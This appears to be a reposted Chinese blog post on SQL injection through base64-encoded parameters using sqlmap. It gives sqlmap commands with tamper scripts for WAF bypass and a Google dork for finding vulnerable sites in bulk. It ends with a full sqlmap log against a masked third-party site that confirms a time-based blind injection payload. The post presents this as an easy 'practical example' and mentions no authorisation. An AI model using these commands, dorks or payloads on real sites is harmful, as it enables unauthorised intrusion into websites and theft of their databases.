SQL注入 對方使用base64進行編碼防止注入的破解方法 太簡單。。。
阿新 • • 發佈:2021-06-20
上次遇到一個Base64的注入點,手工注入太麻煩,於是在網上看了一下sqlmap Base64注入的方法,如下:
sqlmap -u http://xxxx.com/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
sqlmap擁有很多功能強力的外掛,外掛的使用方法: -- tamper “外掛名稱”
其中常用到的bypass指令碼繞過SQLMAP主要兩個指令碼:
space2hash.py ,對於MYSQL資料庫 4.0, 5.0注入
space2morehash.py ,對於MYSQL資料庫 >= 5.1.13 和 MySQL 5.1.41 注入
首先確定目標資料庫版本,然後選擇相應的指令碼。
-v 3 --batch --tamper "space2hash.py"
還有其他一些外掛:
encodes編碼 ——charencode.py
base64編碼 —— base64encode.py
替換空格和關鍵字 —— halfversionedmorekeywords.py
轉載於:https://www.cnblogs.com/im404/p/3799626.html
一個實戰例子,在谷歌裡搜尋:
inurl: id=mq==
然後可以看到很多具備類似注入點的站點,然後使用如下命令:
sqlmap -u "https://xxx.com/detail.php?id=MQ==" --tamper base64encode.py ___ __H__ ___ ___[,]_____ ___ ___ {1.5.4#stable} |_ -| . [)] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 11:22:24 /2021-06-20/ [11:22:24] [INFO] loading tamper module 'base64encode' [11:22:25] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ac148cd288a...ec608684d0'). Do you want to use those [Y/n] [11:22:26] [INFO] checking if the target is protected by some kind of WAF/IPS [11:22:26] [INFO] testing if the target URL content is stable [11:22:37] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [11:23:08] [CRITICAL] WAF/IPS identified as 'Imunify360 (CloudLinux)' [11:23:08] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [11:24:00] [INFO] searching for dynamic content [11:24:01] [INFO] testing if GET parameter 'id' is dynamic [11:24:01] [WARNING] reflective value(s) found and filtering out [11:24:01] [INFO] GET parameter 'id' appears to be dynamic [11:24:04] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [11:24:05] [INFO] testing for SQL injection on GET parameter 'id' [11:24:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:24:12] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [11:24:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [11:24:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [11:24:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [11:24:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [11:24:26] [INFO] testing 'Generic inline queries' [11:24:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [11:24:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [11:24:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [11:24:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [11:25:08] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n [11:25:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [11:25:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [11:25:59] [INFO] checking if the injection point on GET parameter 'id' is a false positive GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 83 HTTP(s) requests: --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=MQ==' AND (SELECT 9951 FROM (SELECT(SLEEP(5)))lziR) AND 'FGOw'='FGOw ---
是不是很GG。。。